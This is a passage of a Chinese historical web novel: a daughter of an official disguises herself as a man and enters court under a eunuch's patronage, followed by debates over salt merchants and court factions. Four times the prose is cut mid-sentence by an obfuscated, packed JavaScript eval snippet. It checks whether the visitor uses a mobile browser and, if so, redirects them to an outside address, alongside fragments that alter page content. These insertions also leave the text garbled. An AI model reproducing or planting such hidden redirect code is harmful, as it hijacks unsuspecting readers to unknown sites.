“苏大人倒是清廉,我知道,他是寒门出身,能够坐到都察院副都御史这个位置,多半都是因为他多次为民请命,为政清廉。可你看看,现如今他却也成了官场斗争中的牺牲品。” “你父亲都尚且如此,你呢?”梁墨眼神直勾勾盯向苏倾祈,“如今我推举你上台,可在旁人眼中,你便已经成了我这个阉贼的同党。” “党同伐异,你要如何清廉、如何独善其身?” “党同伐异?”苏倾祈嫣然一笑,道:“可是大人,如今这朝堂是你的天下啊!小女从小到大只听闻店大欺小,却从未听闻以小欺大这件事,这可真是奇了。” 苏倾祈这是在含沙射影奚牧此人为官不正,梁墨倒是并未看出她竟有如此气魄。 “是啊,党同伐异,你既为我一党,便注定是要受到千夫所指。” 苏倾祈面色一滞,道:“我虽为大人您的爪牙,可绝不会贪赃枉法,罔顾人伦。我与你一党,实乃不得已而为之,请大人莫要步步相逼。” 若非糟奸人陷害,苏家也不会遭此劫难。 梁墨朗然一笑,站起身,道:“今日午后,我便送你家人出城,你且让他们寻个无人相识的地方住着,莫要被人认出来了。明日早朝时,你便同我一道进宫。” 说完后,梁墨正色道:“此去凶险,你既伪装男儿身,便不要露出破绽。我已安排了几个女官来为你更衣,她们会教你该如何做。” 一个破绽,便能使两人陷入万劫不复的境地。 梁墨离开后,苏倾祈起身去了母亲房中。 苏夫人原本是农户之女,自小务农,是嫁给苏鸣志之后才变卖田产,随苏鸣志来了京都。 她手上皆是皴裂的伤口,都是务农时留下的,此次入狱,手上便多了几道新鲜的伤口。 “倾倾,过来坐。” 苏夫人拍拍身旁的软塌,苏倾祈身形一颤,鼻尖酸涩,她赶忙低下头敛去眼中热意,坐到苏夫人身边,握住了她的手。 “娘,包袱都收拾好了吗?”苏倾祈面上装得轻快,可双手握着母亲粗糙的手掌,声音还是忍不住哽咽。 苏夫人不识字,对官场政治知之甚少,只是听苏鸣志说自家女儿要留在这宦官身边,入朝为官。心中纵使万般惆怅,也说不出什么安慰人的话。 她紧紧握住苏倾祈的手,道:“倾倾,不去了好不好?” “跟娘回家,娘种庄稼养活你。”苏夫人语无伦次,“都怪你爹,做官做成这样,还连累你。” “你那两个哥哥也是,都是草包,如今竟要小妹来救!” “倾倾……” 母女两人相顾无言,苏倾祈已是泣不成声。 “娘,不是他们的错。”苏倾祈眼见苏夫人亦开始自责,道:“是我自己要留下的,苏家被污,我一定要为我们讨一个公道。” “娘不懂这些……”苏夫人伸手擦拭着苏倾祈脸上的眼泪,“可是娘知道,倾倾这次离开,娘必定要等上很久才能见你。娘舍不得你啊。” “早知道上次娘拼死也要抗旨不让你入宫,娘有错,娘没能护住你啊。” 苏倾祈哭着摇头,紧紧抱住了母亲。 梁墨抱臂站在门外,将屋内的声音听了个明白。 承平十二年腊月,梁墨已经病入膏肓,将政事全部交由太子梁治光,梁墨并没有下过旨意纳妃。 并且纳妃为大事,梁治光没有可能不知道,看来他并未阻止这件事。 就在此时,两位女官被六合引了进来,梁墨点点头,让六合退了出去。 女官抬手敲了敲房门:“苏大人,请奴婢为您更衣。” 苏倾祈打开门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587518|205349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,被女官带去了一旁的厢房内。 “大人,既已成了男子,那么您一定要抛弃从前的女儿身。”女官伸手,轻轻脱下苏倾祈身上的衣物,接着,另一名女官呈上一方白布。 苏倾祈抬起手臂,任由女官们用白布为她束胸。 “大人,请忍一忍。”许是看出苏倾祈在忍痛,那位年长一些的女官一边拉紧白布,一边道:“此劫一过,您的身份便更正一些。既然已经选择于钢索上求生,那便一定要看着身下的万丈悬崖。莫要摔下去。” 苏倾祈点点头,换上两位女官带来的便服,束发后,便活脱脱成了一个男子。 “大人,若明日调令下来,那么您便可身着青色鹭鸶圆领官服了。”年长些的女官带着另一个女官向苏倾祈拜了拜,道:“官服一上身,那么今后便再也无法回头。” “前路漫漫,怕是豺狼虎豹环伺、大风大浪永不停歇。您已选了这条路,便只能日日夜夜睁着眼睛。” “只盼您珍重。” 苏倾祈偏头,忍住眼泪,将二人扶起来道:“为什么要同我讲这些?” 年长些的女官躬身道:“我与你母亲是同乡,在我尚未入宫时,你母亲与我曾是闺中密友。” “在大人年少时,我曾经抱过你。” 记忆如风,轻轻拂过苏倾祈的发,她猛然间记起了眼前这张脸。 “……张大娘?” 张凤听着,也红了眼,苏倾祈赶忙握住张凤的手,道:“娘亲就在一旁,张姨不见见吗?” “不见了……”张凤拍拍苏倾祈的肩膀,“大人,不必为我悲伤,往后若能再见,我必将倾力相助。 送走张凤的前后脚,梁墨请的车夫便也到了。 苏家四口人上了车,苏鸣志看着苏倾祈,欲言又止,但看了看立在苏倾祈身侧的梁墨,便也没再说什么。 倒是苏家大哥,磨磨蹭蹭到最后,终于在上了马车后抓住了苏倾祈的手,愧疚道:“倾倾,是大哥没用,大哥没能保护好你。” 苏倾祈摇头,宽慰道:“大哥,这不是你的错,这是我自己选的路。更何况,当日若不是你和二哥来救我,那么我早就死在皇陵中了。” “大哥对不住你,留你一个人面对这些……” 梁墨适时打断二人,道:“苏大人,你们且一路向东,每一个驿站内都有人接应。” 苏鸣志撇开头,没看他。倒是苏家大哥道了谢,紧紧拉住苏倾祈的手。 一片乌云自天边飘来,笼住几人,不消片刻,一阵轰鸣的雷声传来。 苏倾祈松开手,端端正正跪在地上,对着马车内的几人拜了拜:“爹娘,大哥二哥。此一别,怕是经年之后才得相见,等来日再见,我必定让你们堂堂正正回到京都。” 马车渐渐消失在街角,苏倾祈站在梁墨身边,二人并肩抬头看向不远处飘洒而来的雨幕。 梁墨感叹道:“果然,多雨时节,总是散着一股霉味,久驱不散啊。” 苏倾祈喃喃道:“等日头大些,这霉味也该散一散了。” 5. 第四章 翌日一早,二人入宫。 宫门大开,前来入朝进谏的官员络绎不绝。梁墨端着一副太监的姿态,和路上遇见的众官员打着招呼。 苏倾祈低着头,亦步亦趋地跟在梁墨身后。 “那位,便是当今的内阁首辅,和兼。” 苏倾祈顺着梁墨的视线看过去,一位须发皆白的老人被人搀扶着下了马车,身形消瘦,倒是一副仙风道骨的样子。 “首辅大人是寒门出身,你亦是寒门出身,若能得了他的青睐,那么你的为官之路便会顺畅许多。”梁墨小声提点,苏倾祈点了点头。 “那位是大理寺卿薛明理,此人虽有些固执,可他毕竟是前朝老臣。如今也算是年少有为。” 苏倾祈看向官道一边穿着官服的年轻男人,此人看上去不过三十岁,脊背挺拔。轻飘飘看了梁墨一眼,眼中的芥蒂清晰可见。 “薛明理此生最恨宦官,你若是想要得到他的帮助,可算是有些难度。” 苏倾祈收回视线,将这些记在心中。 入了官道,两旁耸立的朱红墙壁立刻收窄,苏倾祈悄悄抬头,看见了在天空一角盘旋的飞鸟。 这时,二人身后传来一声呼唤,梁墨回身道:“卢大人今日来得倒是早。” 卢正一瘸一拐地走到梁墨身边,看了眼正对着他作揖的苏倾祈,道:“秉笔大人好兴致,居然也会领着人来上早朝。” 梁墨没搭话,于是苏倾祈上前一步,作揖道:“下官见过尚书大人,臣乃衢州地方的七品县令,今日来京,实乃有要事进谏。” “衢州?”卢正微微眯起眼睛,“我记得那地方靠海,是个富庶之地,想来这要事必定比天大。不然衢州地方官怎么会愿意回京?” 苏倾祈和顺地答道:“下官无能,入仕以来便一直守在衢州,也没能高升。此次入京,便是来求一个公道。” 卢正哼笑一声,似乎是认为苏倾祈这番话说得太过容易,问:“你叫什么?” “下官名叫苏祈。” “苏大人,我劝你还是放弃这些无谓幻想。”卢正看了沉默的梁墨一眼,“人人都想做京官,可不是谁都能做这个京官。” 梁墨打断道:“卢大人,可别误了上朝的时辰。” “哼。”卢正暗骂一声,拖着瘸腿快速离开了。 “卢正,户部尚书,京都卢家嫡子。”梁墨看着他的背影,“可他气运始终差一些,先帝死了之后才调回了京都。” “此人有些城府,心思狠毒,你莫要轻易招惹他。” 一瘸一拐的背影逐渐远去,苏倾祈明显感受到这人并不喜欢自己,或许是因为梁墨的缘故? 亦或是认为苏倾祈想要凭着梁墨的举荐调入京都一事,有失公正。 卢正怕是在忌恨苏倾祈。 苏倾祈跪在殿外,看着前来觐见的官员们一个个进入殿内。 梁墨垂首立在司礼监掌印李元身侧,只半年不见,掌印便已见了疲态。而掌印身后的小太监见了奚牧,毫不掩饰地瞪了一眼。 梁墨记得这个小太监,是叫成木,李元养的唯一一个干儿子,人还算机灵。 众人站定,李元捂着嘴隐隐咳了几声,梁墨余光瞥见他几乎已经到了形销骨立的阶段,肩胛骨突出,像是即将入土。 可承平十二年时,李元也不过四十岁,现下才过半年,究竟为何病成这样? 李元是梁墨父皇为他精挑细想的伴读太监,梁墨少时李元便陪在他身边,如今看李元病重,梁墨内心实在不忍。 “李公公何不告病休息几日?”梁墨伸手扶住他。 李元拂开梁墨的手臂,压下咳嗽,道:“无事,风寒而已。” “陛下驾到——” 一太监扯开嗓子,众人便乌泱泱跪了一地,齐声喊:“陛下万岁万岁万万岁。” “平身——” 梁墨站起身,抬眼看向龙椅上的人,这一眼,可确实是将他震住了。 只见皇帝正懒懒地靠在龙椅上,行不正坐不端,面前跪着几个太监,喂水的喂水,擦汗的擦汗。 可梁治光从前并不这样。礼义廉耻是梁墨亲自教导,梁治光学了个明白,和兼也曾经夸他颇有些君子风范。 只半年,这人便成了如今这个样子。梁墨气急,没移开视线。 梁治光看向他,笑问:“奚牧,听闻你前几日被天雷劈了?” 李元轻咳几声,梁墨终于回过神,跪在地上道:“托陛下鸿福,小人没死。” 梁治光似乎是来了兴致,倾身问:“那天雷劈下来时,你可曾感觉疼痛?” “不曾,小人睡了一觉便醒了。” “只是梦中似乎飘到了京都上空,看见了京都龙气缭绕。这必定是上天恩赐。” 梁墨的空口大话说来就来,梁治光笑着摇了摇头,没再追问,只道:“起来吧。” 继而转头看向端坐椅上的和兼,道:“首辅大人,您昨日上书说今日有要事禀告,所为何事?” 和兼佝偻着脊背,艰难地跪在地上,嗓音沙哑:“臣……臣要参陛下!” 此话一出,万籁俱寂,梁墨转头看向和兼,却见他仍旧不卑不亢道:“臣要参陛下枉为人君!” 梁治光正色道:“首辅大人何出此言?” 和兼颤着手从怀中掏出奏折呈上,梁治光身边的太监立刻将奏折托给了梁治光。 “副都御史一家本就忠直清廉,是为良臣。可陛下不分青红皂白,在证据不足的情况下抄了副都御史一家,甚至没有给她们留个全尸。” “这并非明君之所能为,实在太伤阴鸷。” 梁治光粗粗翻了翻奏折,看向和兼:“首辅大人这便是无端发难了,副都御史一案,证据确凿。朕并未冤枉良臣。” 和兼看着梁治光的眼睛,道:“藏匿宫妃这事本就可大可小,若非陛下执意彻查,副都御史怎会遭难?” 梁治光脸色彻底沉了下去,奏折被他扔出,稳稳拍在和兼面前。 “首辅大人难道是在质疑先帝的旨意吗?” 梁墨忍不住抬眼看了梁治光一眼,梁治光果然并未阻止那道纳宫妃的旨意。 和兼捡起奏折,咳嗽几声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587519|205349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,掷地有声道:“是,先帝下此遗诏就是疯了!” 众人纷纷跪下,大气都不敢出。 和兼继续道:“先帝是个明君,亲守国门,打退车炜人,开拓疆土。可他英明一世,最后竟听信方术,纳妃活祭,只求能重来一世。” “就凭此事,先帝在史书上必定只会是个暴君。” “那些宫妃何其可怜、何其不幸。陛下,您当真忘记了吗?” 梁治光站起身,怒道:“可那是父皇的旨意,身为臣子,君命大于一切。首辅大人既有怨怼,那年冬天就该提出来!” “而不是在此刻,借着副都御史之死向朕发难!” 和兼老泪纵横,道:“陛下,老臣并没有任凭事情发生。先帝纳妃,活祭当日,老臣以及众多大臣长跪殿外,只求陛下收回成命。” 大雪天,妃子们被内侍带往皇陵,冲天哭声被大雪掩埋。大臣们跪在殿外,任由大雪刮起寒风。 可梁治光当日躲在殿内,让奚牧带着锦衣卫赶走了这帮人。 梁墨跪在地上,他疑心那道天雷不仅劈死了奚牧的魂,同时也把梁墨自己的记忆劈没了。 不然和兼所说的方术,梁墨怎么会一概不知。 梁治光愣愣坐回龙椅,轻声问和兼:“首辅大人,父皇一死,您便要反了么?” 和兼反驳道:“陛下,臣无意谋反,只是此事,您确实寒了满朝文武的心。” “副都御史这一辈子,为官公正,陛下,您不该逼他。” 梁治光没说话,眼神看向梁墨,梁墨了然,对着和兼道:“首辅大人,副都御史五口人昨日已经死在了诏狱内,是畏罪自戕。” “陛下念在副都御史为国多有裨益,特许了给他们留个全尸,如今已然安葬。” 和兼看梁墨一眼,没回话,倒是梁治光出声问:“首辅大人,您可满意了?” 和兼梗着脖子,没说话,梁治光叹了口气,道:“各位是铁了心要逼我了。既然如此,那么朕便立下罪己诏,今日下朝后去往先帝皇陵中守陵,以祭奠那些无辜死去的亡灵。” 沉默一会儿,和兼俯身道:“陛下仁心,天下皆会感念。” “起来吧……”梁治光疲惫地招了招手:“既如此,今日大事已毕,下朝吧。” “陛下!” 这时,梁墨赶紧出声说出了自己的目的:“陛下,小人有事要奏。” 梁治光按了按眉心:“说吧。” “殿外正候着衢州地方的一个小县令,此人颇有些政绩,此次入京,是为了衢州地方的百姓而来。” “衢州?”梁治光想了想,“那地方颇为富庶,此人出身如何?” 梁墨答道:“此人出身寒门,家中仅有一老母,为人清廉。” “衢州竟能出个清官?”梁治光笑了笑,“这倒也是个奇事。” “首辅大人,你道如何,见还是不见?” 和兼俯身道:“陛下,人既已经等在了殿外,那么见一见也无妨。” “宣吧。”梁治光摆手。 “宣苏祈觐见——” 6. 第五章 苏倾祈站起身,双膝酸痛异常,她沉住气,顶着周围官员们打量的目光一步步走入殿中。 “臣苏祈拜见陛下,陛下万岁万岁万万岁。” 苏倾祈跪在地上叩拜,迟迟没有听见皇帝的声音,大殿地面光滑如镜,映出她惨白的唇。 “苏祈,衢州地方官,为何入京?” 不知过了多久,梁治光的声音才缓缓响起,苏倾祈如蒙大赦,直起身,低垂着眉眼,道:“微臣做官,不求名利,只求治下百姓能够安居乐业。” “可微臣管辖的地界内有几处渔村,渔民们原本靠打鱼为生,可因着这些渔村靠海的缘故,衢州盐商强征渔民去晒盐,并且滥用酷刑。” “许多渔民得不到应得的报酬,在酷刑折磨下死去,很多家庭妻离子散。” 苏祈昨日已死,他的肺痨难治,梁墨从他手中买下这个官位。他死前让锦衣卫带回一句话,官位既已卖出,那么渔村渔民的问题就得事先解决。 苏倾祈明白,苏祈是位好官,且渔民们的情况确实刻不容缓,于公于私,苏倾祈都必须先解决这件事情。 “官盐取之于民却不用于民,渔村百姓怨气冲天,更遑论那里本就毗邻漕运枢纽,原本徭役负担便重。盐商此举,不亚于杀人。” “微臣此次入京,便是为了这件事情。” 梁治光沉默良久,才看向满朝文武,问道:“此事并非一时之举,为何无人上报?” 众人面面相觑,和兼长叹一声,道:“是微臣失察,内阁并未收到地方官的谏言。” 此时,薛明理突然上前,跪在地上叩首道:“陛下,臣知道此事。” “哦?”梁治光倾身“为何没听你上报?” 薛明理起身看了苏倾祈一眼,道:“几个月前,微臣奉命彻查衢州海盗抢劫杀人一案,因着京都与衢州相距甚远,于是亲自去了趟衢州。当时,我便是在衢州见到了苏大人。” 苏倾祈闻言,忍不住颤抖起来,薛明理居然见过苏祈,这是始料未及的。 她微微侧身,看向身后的薛明理,却猝不及防与他对视一眼,男人黑沉的眼正紧紧盯着她,似乎已然看透了她的伪装。 苏倾祈立刻回头,双手在衣袖下紧紧绞在一起。她想起来上朝前与薛明理在官道上的那一面,如今看来,此人在那时就看出来苏倾祈是冒牌货了。 梁墨闻言,也略有些诧异地看向薛明理。此人最恨宦官,又看出来眼前这个苏祈是假的,却能隐而不发。 虽不明白薛明理为何这么做,但目前他并未直接拆穿苏倾祈的身份,兴许此人亦有其他目的。 梁治光道:“苏祈,可确有此事?” 苏倾祈握紧双拳,只得点头,道:“是,微臣曾经见过薛大人。” 薛明理继续道:“苏大人与我相见,告知我盐商强征庶民的事,当时我回京之后便写了折子,直接递到了司礼监内,望掌印帮我上交陛下。” “可不知为何,此事石沉大海,再没了消息。” 话罢,梁墨赶忙在李元之前跪在地上,急急道:“陛下,这是小人的错。当日司礼监内确实收到了薛大人的折子,可那时司礼监忙着先帝丧仪一事,再加之衢州海盗一案太过轰动。” “小人便留下了这折子,原打算等一切尘埃落定后再呈给陛下。可这事情越积越多,最后竟是将薛大人的折子忘记了。” “此事原是小人的错,请陛下责罚!” 梁墨不用细想便知道这件事绝对是奚牧一力瞒了下来,且不说梁治光事先究竟知不知道这件事,梁墨也必不能让李元担下这罪名。 梁治光摇了摇头:“司礼监从不曾出过差错,你啊……” 梁墨叩首:“请陛下降罪!” “自请去领二十廷杖吧。”梁治光的罚来得轻飘飘。 “谢陛下。” 梁治光看向薛明理,道:“此事不是你的错,如今错已犯下,薛卿以为此事该如何解决?” 薛明理沉声道:“此事已过去月余,如今苏大人既然能够旧事重提,那么只能说明衢州盐商依旧没有收敛。” “依臣之见,若不能收集到妥帖证据,那些盐商必不能认下这罪名。因此,不如派人前去查证,等证据充足时再交由大理寺审案。” “不错不错。”梁治光拍了拍手,“那么依你看来,谁才是最佳人选?” 苏倾祈的心脏忍不住提到了嗓子眼,薛明理看穿了她的身份,此时若是他开口让苏祈重新回到衢州查案,那么苏倾祈必定只能去往衢州。 盐商所在地皆由高门大家管辖,且先不说苏倾祈能不能查清此案,她去了衢州之后能不能活着回京都是难事。 薛明理颔首道:“臣以为,户部尚书大人堪当此任。” 卢正听罢,立刻跪在地上,驳道:“薛大人说的倒是容易,可我已是正二品官员,查案一事本可以选些低官职的人前去。” 薛明理道:“为国尽忠本不论官阶大小,既然为官,那么必得为民谋生。卢大人今日因官阶不愿去往地方,那么明日便有可能成为弃国弃家之人!” 卢正气急,反驳道:“薛大人不必为我戴高帽,我就是不愿去查此案,这非官阶大小可判。一切听凭陛下吩咐!” 梁治光沉思片刻,忽然开口问和兼,道:“首辅大人,我记得京城伊家祖籍便是衢州?” 和兼答道:“伊家祖籍确实是衢州。” 卢正听着此话,心中已经了然,谁都知道,京都卢家与伊家乃世仇,两家原本皆经商,可后来卢家蒙天恩破格入仕,伊家则是渐渐吞并了卢家的生意。 梁治光果然道:“卢卿,朕将此事交与你,你可能接?” 天子一言,卢正知道此事便绝无转圜之地,明白奚牧此时也帮不了他,于是重重叩首,咬牙道:“臣愿意去查清此案,换衢州渔民一个清白!” “好!”梁治光大笑几声,“这才是我景国的大好男儿!” 苏倾祈松了口气,能看出来薛明理是借着苏倾祈提出的案子来难为卢正,虽不明白两人之间究竟有何渊源,可战火并未烧到她身上,此事也便就此揭过。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587520|205349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 此时,和兼突然开了口,道:“陛下,此番若没有苏祈执意觐见,此事怕是永远成为一桩悲剧。” “且此人心思细腻,为人热忱正直,留在衢州,恍如明珠蒙尘。此等人才不应被埋没。” “因此,臣以为,苏祈理应留在京都,为百姓谋福。” 梁墨有些意外地看了和兼一眼,他了解和兼,此人最是正直,绝不会徇私枉法。 此番他既然愿意为苏倾祈说话,那么只能说明和兼确实认为苏倾祈是个可造之材,这倒是梁墨没有预料到的,得了和兼的青眼,苏倾祈的仕途便能再顺一分。 于是梁墨也跪地叩首道:“陛下,苏祈此人,在衢州也有些政绩。那年的衢州海盗案,就是苏大人直入贼窝,抛自身危难于不顾,拼死收集到了证据。” 梁治光看了看一直垂眸不言的苏倾祈,看向薛明理,问:“薛卿,此案当年就是你办的,可有此事?” 薛明理道:“的确如此,当日苏大人神勇,无人可敌。” 话罢,他话锋一转,道:“可是,微臣以为,绝不能将苏大人调入京都!” 苏倾祈猛地回头,看见薛明理脸上一副势在必得的表情。 梁治光道:“为何?” 薛明理掷地有声道:“苏大人与司礼监秉笔奚牧,乃是同党!” 此言一出,朝堂哗然。 党同伐异,无人能够独善其身,可官员们私底下谈论便罢了,从来也无人在朝堂之上公然谈论。 行事太过嚣张,免不了要被人记恨,可薛明理此人倒是根本不怕,一副怡然自得的样子。 梁治光抬眼扫了眼梁墨,道:“薛卿何出此言。” “今日早朝时,微臣见苏祈与秉笔同时入朝,二人在官道上旁若无人地交谈。苏祈是地方官,且从未来过京都,没有道理能够攀上司礼监。” 梁治光讥笑一声,道:“薛卿倒是毫无顾忌。” 薛明理道:“微臣一心为国,别无他想。” 这时,苏倾祈突然开了口,她明白自己绝对不能再坐以待毙,若任凭薛明理污了她的这个身份,那么她便再无任何机会了。 “陛下,微臣有话说。”苏倾祈抬眼看向梁治光,眼见他点了点头,继续道:“微臣是地方官,并不熟悉京都官员。” “薛大人所言确实属实,今日早朝,确实是秉笔大人引着臣入了宫。”苏倾祈一字一句解释道:“可微臣并无同党,若我真有同党,那么也不至于在地方小县蹉跎。” “我与秉笔熟稔,纯粹是因为我们二人祖籍皆是益阳,儿时我曾经见过秉笔大人。如今入了京都之后,才发现竟是旧相识。” 梁治光点头,看向梁墨,梁墨立刻道:“陛下,我与苏大人确实都是益阳人。” 苏倾祈偏头看向薛明理,道:“按照薛大人所言,早朝时略有些交谈便是同党。那么我也可认为薛大人与首辅大人亦是同党,因为首辅大人曾是薛大人的老师。” “难道,真如我所言,薛大人也与首辅大人交谈,你们也是同党?” 7. 第六章 苏倾祈这番话说得有理有据,可薛明理却毫不在意,正色道:“苏大人此言便是诡辩了。” “自古以来,朋与党遍密不可分,朋党朋党,正道为朋,作恶遍成了党。” “阁老是我先生,教我诗书,引我明理,君子之交莫不如此。” 苏倾祈驳道:“薛大人认为自己是君子,可为何把我打成小人?难不成我真与秉笔大人有利益往来,无论名利还是钱权,只要薛大人能找到铁证,那么我甘愿伏诛。” “可薛大人一面之词便定了我的罪,这难道就是君子所为?” 眼见二人之间已到了剑拔弩张的地步,梁治光突然开了口,哈哈笑了几声,道:“二位不用再争辩了,朕倒是有个问题想要问薛卿,你与苏祈曾一同破了衢州海盗一案,朕原以为你与苏祈定是惺惺相惜。为何如此不愿他调入京都?” 薛明理道:“臣只是认为苏大人并不适合做京官。” 梁治光道:“为官之道,无论地方还是京都,皆没什么不同,朕以为,苏祈既有为官之德,那么官场应该给他一个机会。” “可是陛下——” “微直,不必再说了。” 薛明理话刚出口,便被和兼打断了,和兼看了薛明理一眼,颤颤巍巍跪在地上,道:“陛下,老臣以为,是该破格提拔苏祈。” “自先帝死后,朝中便再无良臣能将出现,如今引进新人,亦可为景国朝堂带来一些新气象。” 梁治光点头,问梁墨:“奚牧,你以为呢?” 梁墨叩首道:“依小人之见,若薛大人疑心我与苏大人为一党,那么便可把苏大人安排入都察院,从小官做起,这便可消除薛大人的怀疑了。” 和兼也赞成道:“都察院负责纠察所闻所见,直言弹劾,院内纪律严明,若苏祈真乃小人,贪赃枉法必有严惩。” “不错。”梁治光点头,“那么首辅大人以为,该给苏卿安排什么官职?” 和兼沉思片刻,道:“都察院经历司中尚有空缺,上一任六品经历病逝,官员考核在即,苏祈与京官并不相熟,考核中必定不会有所偏私。老臣以为,陛下可以将苏祈提拔为都察院经历。” 梁墨头埋得更低了些,他属实没有想到升任一事竟会如此顺利,和兼此人与薛明理不同,他格外惜才,可任谁都能看出,苏祈是奚牧一党的人,和兼竟也能做到如此大度。 梁治光摆了摆手,站在他周围的太监与他耳语几声后,梁治光终于拍版道:“不错不错,良臣难得,苏卿,你可愿意?” 苏倾祈赶忙叩首:“微臣多谢陛下与阁老赏识,臣必定为国尽忠,为陛下分忧!” …… 下朝后,梁墨被锦衣卫们拉去廷杖。 躺在板凳上,梁墨内心愈发清醒,奚牧必定是攀上了梁治光这个靠山,秉笔执掌锦衣卫,廷杖必不会下死手。 梁治光让梁墨下朝时接受廷杖,虽然面上看着严重,可谁都明白,这惩罚来得轻飘飘,只是为了给薛明理一个交代,并没有打算真的要梁墨的命。 沉闷的廷杖声在官道中徘徊,廷棍破空声与血肉纠缠。 官员们看着被廷杖的梁墨,窃窃私语一番,相继离开。 苏倾祈落在后面,抱臂看着梁墨。这时,薛明理站在她身边,二人的乌纱帽相触,苏倾祈忍不住想逃。 “日安,长久未见,今日再见竟是这般情形,望你千万不要怨我。” 薛明理的声音响起,苏倾祈轻飘飘地回道:“微直兄不必客气,朝堂上,有来有往。” 苏倾祈很明白薛明理早就已经看出她的伪装,可薛明理没有拆穿,那么她便同他玩一玩,看看此人究竟要使什么花样。 “是啊,有来有往,只希望下一次,我能接住你的暗箭。”薛明理有些阴阳怪气。 苏倾祈偏头看他一眼,道:“这不难,可微直兄怕是对我有什么偏见吧,我非小人,只有小人才会使暗箭。既为君子,那么必定堂堂正正刀剑相交。” “只盼下一次,微直兄可千万不要伤到自己。” 薛明理笑了笑,道:“无妨,我本男儿身,任何伤都能立马好。” 苏倾祈看他一眼,这人嘴角挂着明晃晃的笑,明显是在威胁,于是苏倾祈回击道:“哼,微直兄果然好体魄,我在衢州待得太久,确实是有些瘦弱了。” “不过您也不必担心,既然已经到了京都,那么我不将自己吃成个胖子,是不会轻易回去的。” 说罢,二人安安静静看着廷杖结束,各自离开。 梁墨被身旁的锦衣卫扶起来,他看了眼苏倾祈离开的背影,只见薛明理正不远不近地跟着她。 薛明理是个硬茬,再加上他实在痛恨奚牧,对苏倾祈必然会多加防备。 可这未必就是个坏事,梁墨了解薛明理这个人,除了不喜宦官之外,他确实也并未出过什么大的差错。 “大人,陛下让您廷杖结束后回宫一趟。”身旁的锦衣卫传达了梁治光的命令。 梁墨点点头,身上的伤都是些皮外伤,可还是对他的行动有些影响,他忍着疼站起身,换好衣服后顺着官道入宫。 就在此时,身后突然传来一些急促的脚步声,梁墨机敏地回头,却被扑天而来的麻布袋子遮挡住了视线。 不知是谁,罩好麻布后,一脚狠狠踹在梁墨胸口,他被踹得吐出一口血,眼前发黑,直直倒在了地上。 接着,棍棒雨点似的落在身上,梁墨抬起一只手护住自己的头,另一只手灵活地开始解麻袋上的绳结。 不消片刻,梁墨便拽开麻袋,随机抓住了身边一个人,那人被梁墨抓得摔倒在地,连忙急急喊道:“快跑快跑!” 梁墨猛地扯开麻袋,被他压在身下的人竟是成木,而官道尽头,几个鬼鬼祟祟的小太监慌慌张张地跑走了。 成木毫无惧色,紧紧瞪着梁墨,梁墨感受着自己脸上身上的疼痛,决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587521|205349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心吓一吓他。 “成木,你来打我,定是掌印下的令,你我且去陛下跟前辩个明白,让陛下看看究竟该怎么惩罚掌印!” 成木听到此话,眼睛里果然滚过一些惊疑,但还是倔强地瞪着梁墨,道:“一人做事一人当,这件事情是我自己做的,和干爹没关系!” “你要杀就杀我,别牵扯旁人!” 梁墨装出凶狠的样子,厉声道:“可你一个小太监,居然敢明目张胆打司礼监秉笔,这背后必定有人撑腰。今日你若说不明白,那我们便去御前让陛下来断个明白!” “你!”成木气急,挥出一拳,被梁墨轻易挡开,只听成木红着眼道:“我要为我干爹讨个公道!” 梁墨大概猜出来成木所为何事,但还是问:“为何?” “今日早朝,你羞辱干爹,这顿打是应得的!”成木喊道。 梁墨牵起嘴角想要笑一笑,却被嘴角突如其来的疼痛扯得笑不出来,于是他伸手将成木拉起来,二人一同坐在地上。 “你说,我如何羞辱掌印了?” 成木梗着脖子道:“今日薛明理发难,既是向司礼监发难,你为何要揽下这罪责,原本就不是什么大事,你却抢着让干爹难堪,这不是羞辱是什么?” 梁墨属实是想不到成木竟如此混沌,开口道:“你认为我是在给你干爹难堪?可你知不知道今日薛明理报上来的案子究竟牵扯何人?” 